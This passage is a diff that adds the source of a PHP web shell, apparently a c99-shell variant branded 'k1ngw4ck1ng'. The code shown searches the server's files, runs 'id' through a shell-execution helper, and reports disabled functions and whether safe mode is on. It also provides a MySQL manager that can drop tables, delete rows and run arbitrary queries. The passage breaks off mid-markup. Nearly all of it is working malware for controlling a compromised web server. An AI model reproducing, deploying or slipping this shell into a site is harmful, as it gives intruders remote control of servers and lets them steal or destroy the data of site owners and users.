= readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> + +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>shell@<?php echo getenv("HTTP_HOST"); ?></title><STYLE> +TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;} +.style1 { + color: #FF0000; + font-weight: bold; +} +.style2 {font-size: -3} +</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><div align="center"><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"></p> + <p><font size="-3"><span class="style2"></br> + <font color="#333333">k1ngw4ck1ng</font><font color="white">w</font><font color="#333333">4ck1</font><font color="white">ngw4ck1n</font><font color="#333333">gw4c</font><font color="white">k</font><font color="#333333">1ngw4ck</font><font color="white">1ngw</font><font color="#333333">4ck</font><font color="white">1</font><font color="#333333">ngw4ck1ngw4ck1ng</font><font color="white">w4</font><font color="#333333">ck1ngw4ck1</font><font color="white">n</font><font color="#333333">gw4ck1ngw</font><font color="white">4</font><font color="#333333">ck1ngw4ck1</font><font color="white">n</font><font color="#333333">gw4c</font><font color="white">k1ng</font><font color="#333333">w4ck1ngw4ck1ngw4ck1ngw4ck1ng</font><br> + + <font color="#333333">w4ck1ngw4c</font><font color="white">k1n</font><font color="#333333">gw4ck</font><font color="white">1ngw4</font><font color="#333333">ck</font><font color="white">1ngw4ck1n</font><font color="#333333">gw</font><font color="white">4ck1n</font><font color="#333333">g</font><font color="white">w</font><font color="#333333">4ck1ngw4ck</font><font color="white">1ngw4</font><font color="#333333">ck</font><font color="white">1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4ck1</font><font color="#333333">ngw4ck</font><font color="white">1n</font><font color="#333333">gw4ck1ngw</font><font color="white">4ck</font><font color="#333333">1ng</font><font color="white">w4ck</font><font color="#333333">1ngw4ck1ngw4ck1ngw4ck1ngw4ck</font><br> + + <font color="#333333">1ngw4ck1ng</font><font color="white">w4ck</font><font color="#333333">1ngw</font><font color="white">4ck1</font><font color="#333333">ngw4</font><font color="white">ck1</font><font color="#333333">ng</font><font color="white">w4c</font><font color="#333333">k1</font><font color="white">ngw4</font><font color="#333333">c</font><font color="white">k1</font><font color="#333333">ngw</font><font color="white">4</font><font color="#333333">ck</font><font color="white">1ngw4ck1ng</font><font color="#333333">w</font><font color="white">4ck</font><font color="#333333">1ng</font><font color="white">w4ck1n</font><font color="#333333">gw4ck1ngw</font><font color="white">4ck</font><font color="#333333">1ngw4ck1</font><font color="white">ngw4</font><font color="#333333">c</font><font color="white">k1ngw</font><font color="#333333">4ck1n</font><font color="white">gw4ck1ngw4ck</font><font color="#333333">1ngw4ck1ngw</font><br> + + <font color="#333333">4ck1ngw4ck1</font><font color="white">ngw4</font><font color="#333333">ck</font><font color="white">1ngw4</font><font color="#333333">ck1</font><font color="white">ngw4</font><font color="#333333">ck1ngw</font><font color="white">4ck1</font><font color="#333333">n</font><font color="white">gw4</font><font color="#333333">ck1</font><font color="white">ngw4ck</font><font color="#333333">1ngw4</font><font color="white">ck</font><font color="#333333">1</font><font color="white">ngw4ck1n</font><font color="#333333">gw4ck1ngw4ck</font><font color="white">1ngw</font><font color="#333333">4ck1ngw4</font><font color="white">ck1n</font><font color="#333333">g</font><font color="white">w4ck1ngw4ck</font><font color="#333333">1ngw4c</font><font color="white">k1ngw</font><font color="#333333">4ck1ngw4ck1</font><br> + + <font color="#333333">ngw4ck1ngw4c</font><font color="white">k1ngw4ck1ng</font><font color="#333333">w4</font><font color="white">ck1n</font><font color="#333333">gw4ck1</font><font color="white">ngw4</font><font color="#333333">c</font><font color="white">k1ngw4ck1n</font><font color="#333333">gw4ck1n</font><font color="white">gw4ck1ngw4ck</font><font color="#333333">1ngw4ck1ng</font><font color="white">w4ck1</font><font color="#333333">ngw4ck1</font><font color="white">ngw4ck1ngw4ck1ng</font><font color="#333333">w4ck1ng</font><font color="white">w4ck1n</font><font color="#333333">gw4ck1ngw4</font><br> + + <font color="#333333">ck1ngw4ck1ng</font><font color="white">w4ck1ngw</font><font color="#333333">4c</font><font color="white">k1ngw4c</font><font color="#333333">k1ng</font><font color="white">w4ck1ngw4c</font><font color="#333333">k1n</font><font color="white">gw4c</font><font color="#333333">k1ngw4c</font><font color="white">k1ngw4ck1ngw4ck</font><font color="#333333">1ngw4c</font><font color="white">k1</font><font color="#333333">n</font><font color="white">gw4</font><font color="#333333">ck1ngw4</font><font color="white">ck1ngw4ck1ngw4ck1ngw4ck1ngw</font><font color="#333333">4ck1ngw4ck1n</font><br> + + <font color="#333333">gw4ck1ngw4ck1</font><font color="white">ngw4ck</font><font color="#333333">1ngw</font><font color="white">4ck1ng</font><font color="#333333">w4c</font><font color="white">k1ngw</font><font color="#333333">4</font><font color="white">ck1n</font><font color="#333333">gw4c</font><font color="white">k1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4ck1ngw4ck1ngw4ck1</font><font color="#333333">ngw4ck</font><font color="white">1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4</font><font color="#333333">c</font><font color="white">k1ngw4</font><font color="#333333">ck1</font><font color="white">ngw4</font><font color="#333333">ck1ngw4</font><font color="white">ck1</font><font color="#333333">ngw4ck1ngw4c</font><br> + + <font color="#333333">k1ngw4ck1ngw4c</font><font color="white">k1ngw</font><font color="#333333">4ck1n</font><font color="white">gw4ck</font><font color="#333333">1ngw4ck1n</font><font color="white">gw4c</font><font color="#333333">k1ngw</font><font color="white">4ck1ngw4ck1n</font><font color="#333333">g</font><font color="white">w4ck1</font><font color="#333333">ngw4</font><font color="white">ck1ngw4ck</font><font color="#333333">1ngw</font><font color="white">4ck</font><font color="#333333">1ngw4c</font><font color="white">k1n</font><font color="#333333">gw</font><font color="white">4ck1</font><font color="#333333">ngw4ck1n</font><font color="white">g</font><font color="#333333">w4ck1n</font><font color="white">gw4c</font><font color="#333333">k1ngw4ck1ng</font><br> + + <font color="#333333">w4ck1ngw4ck1ngw4</font><font color="white">ck1</font><font color="#333333">ngw4ck</font><font color="white">1ngw</font><font color="#333333">4ck1ngw4</font><font color="white">ck1ng</font><font color="#333333">w4ck1n</font><font color="white">gw4ck1ngw</font><font color="#333333">4ck1</font><font color="white">ngw4</font><font color="#333333">ck1ngw4ck</font><font color="white">1ngw4ck1ngw4c</font><font color="#333333">k1n</font><font color="white">gw4</font><font color="#333333">ck1n</font><font color="white">gw4</font><font color="#333333">ck1ngw4ck1ngw</font><font color="white">4ck1ng</font><font color="#333333">w4ck1ngw4ck</font><br> + + <font color="#333333">1ngw4ck1ngw4ck1ngw4ck1ngw4</font><font color="white">c</font><font color="#333333">k1ngw4ck1ng</font><font color="white">w</font><font color="#333333">4ck1ngw4ck1ngw4ck1ngw4ck1n</font><font color="white">g</font><font color="#333333">w4ck1ngw4c</font><font color="white">k1ngw4</font><font color="#333333">c</font><font color="white">k</font><font color="#333333">1ngw4c</font><font color="white">k1n</font><font color="#333333">gw4c</font><font color="white">k1n</font><font color="#333333">gw4ck1ngw4ck1ngw</font><font color="white">4ck1n</font><font color="#333333">gw4ck1ngw</font><br> + + <font color="#333333">4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ng</font><font color="white">w4</font><font color="#333333">ck1ngw4ck1ngw4ck1n</font><font color="white">gw4ck</font><font color="#333333">1ngw4ck1</font><br> + <font color="#333333">ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1</font><font color="white">n</font><font color="#333333">gw4ck1ngw4ck1ngw4ck1ng</font><font color="white">w</font><font color="#333333">4ck1ngw4</font></br> + </span>&nbsp;</p></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>System Info:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><? echo "<b>Disabled functions</b>: <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} ?><p align="left"><b>We are: <?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?><?php $curl_on = @function_exists('curl_version'); +echo "<br/>cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); ?></br><? if(@ini_get("register_globals")){$reg_g="<font color=green>ON</font>";}else{$reg_g="<font color=red>OFF</font>";} echo("<b>Register globals:</b> $reg_g"); ?><?php echo "<br/>MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } +echo "</b>"; +echo "<br/>MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?><?php echo "<br/>Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} ?> </b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; + +} +echo "<br>"; +echo "<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"><br/></font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."w4/act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" 